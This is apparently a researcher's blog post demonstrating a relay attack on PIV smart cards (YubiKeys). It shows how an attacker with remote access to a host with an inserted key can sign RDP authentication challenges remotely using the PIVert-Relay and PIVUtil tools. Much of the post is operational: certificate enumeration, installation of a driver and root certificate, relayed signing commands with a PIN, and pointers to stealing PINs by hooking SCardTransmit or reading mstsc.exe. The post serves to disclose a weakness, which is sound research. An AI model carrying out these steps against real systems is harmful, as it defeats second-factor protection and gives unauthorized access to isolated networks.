Relaying YubiKeys

2 minute read

We are not relaying actual physical YubiKeys, we are relaying the APDU packets that the server application wants to get signed by a private key to verify the identity of the authentication so this attack works on all PIV Smart Cards but a YubiKey was used during the testing so therefore the title.

Isolated networks or sensitive services often have an additional authentication factor and some organizations are choosing to use YubiKeys or other PIV-supported devices to be their second factor. The private key on a YubiKey is protected and non-exportable so to give ourselves access to those isolated networks/services we can use an already-inserted YubiKey on a remote host and make that to authenticate our session in a relay attack.

The picture below demonstrates the attack flow.

Before we can execute our relaying attack the need to know the PIN, public certificate, and slot. A PIN can be found anywhere, I’ve seen it in LastPass databases, and chat/email conversations, and it’s also possible to steal it from the workstation by hooking the SCardTransmit function during a new connection(poc) or parse the mstsc.exe process on an existing connection(poc) to get the PIN.

PIVUtil can be used to list connected smart card devices and enumerate their public certificate and slot

> Invoke-Command $s {PIVUtil.exe list}
[*] Yubico Yubikey 4 OTP+U2F+CCID 0

> Invoke-Command $s {PIVUtil.exe 'Yubico Yubikey 4 OTP+U2F+CCID 0'}
[*] Using smartcard: Yubico Yubikey 4 OTP+U2F+CCID 0
[*] Public Auth (cert) Slot 9A:
30820609308204F1A0030201020213140000000A5A24093BC2E3DB0900000000000A300D06092A864886F70D01010B0500304531153013060A0<SNIP>47FEC00F4DE64C6
[*] Public Card Auth (cert) Slot 9E:
30820609308204F1A0030201020213140000000A5A24093BC2E3DB0900000000000A300D06092A864886F70D01010B0500304531153013060A0<SNIP>47FEC00F4DE64C6

Now from our attacker machine, we start PIVert-Relay.exe "<public cert>" "<slot>" (the arguments may need to be quoted or it can read the certificate wrong)

> PIVert-Relay.exe install
[=] Writing BixVReader.ini config to C:\Windows
[=] Installing driver signing certificate into Root and Trusted Publishers local machine store
[=] Installing driver MSI
[+] Installer completed

> PIVert-Relay.exe '30820609308204F1A0030201020213140000000A5A24093BC2E3DB0900000000000A300D06092A864886F70D01010B0500304531153013060A0<SNIP>47FEC00F4DE64C6' '9A'
[=] Connected to Smartcard Data Pipe
[=] Connected to Smartcard Event Pipe
<snip>

start mstsc.exe and specify we want to authenticate using Smart Card Credentials, click connect and PIVert-Relay.exe will print the data that it wants to be signed. So copy the value of that to the remote host, execute PIVUtil.exe <smart card name> <PIN> <PIVert-Relay output> and paste the output to PIVert-Relay console

<PIVert-Relay.exe console>
[*] Data to sign: 1087079AF07C8201068200818201000001FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF003021300906052B0E03 0087079A1A021A05000414588C445F31C3110315B11D8A42E17886D4CB0CE500

[*] Enter signed blob

--------------------------------------------------------------------------------------
<on victim>
> Invoke-Command $s {\PIVUtil.exe 'Yubico Yubikey 4 OTP+U2F+CCID 0' 12341234 1087079AF07C8201068200818201000001FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF003021300906052B0E03 0087079A1A021A05000414588C445F31C3110315B11D8A42E17886D4CB0CE500 }

[*]Using smartcard: Yubico Yubikey 4 OTP+U2F+CCID 0
[*]Using pin: 12341234
7C8201048282010091425F59583595A65F4384E46F4DF1826507BD5BC87F29CDC037DCDB2483B405F003223262C3162B6E09055F81CBE5123D87661DC748F36A322504785AE069D5B5247EC16CABC83F84540BFE2077C4CEAE5BC9BAE86DAD46DB557B4075FA59865B9A328A7FEABB5CC359158141BD49C79B3EADFA1B535F89F525484FD8A51398126EE6BF88900FC9CF08E11D28407DFA3E033D32324A8441496083373C9FFA8A31BC635FDCD4865038650045EA5AB405BDECC7073D90E6BE7C6B223EACF73D0CE735BDB973B1CFF31DC09B27278D4FDABF670238B7853FF613CDB76AFE36D10F1972D41638B9E352C8A77590396E25BC7513A207D8B553A533F3071F5DC56B1B

RDP will request multiple tickets to sign but after redoing the steps above we have a session established!

This attack would perhaps be smoother if PIVUtil.exe and PIVert-Relay communicated over a named pipe to automate the data signing process or having PIVUtil.ex as a BOF but this is meant to be a over-weekend PoC so idc :D

Conclusion

Having a non-exportable private key seems pretty useless when you just can relay any APDU packet and have it signed by the private key, the only thing it protects against is persistence.

Tools available at https://github.com/cube0x0/PIVert-Relay

  • https://github.com/CCob/PIVert
  • https://docs.yubico.com/yesdk/users-manual/application-piv/apdu/auth-sign.html
  • https://ethicalchaos.dev/2020/10/04/attacking-smart-card-based-active-directory-networks/

Updated: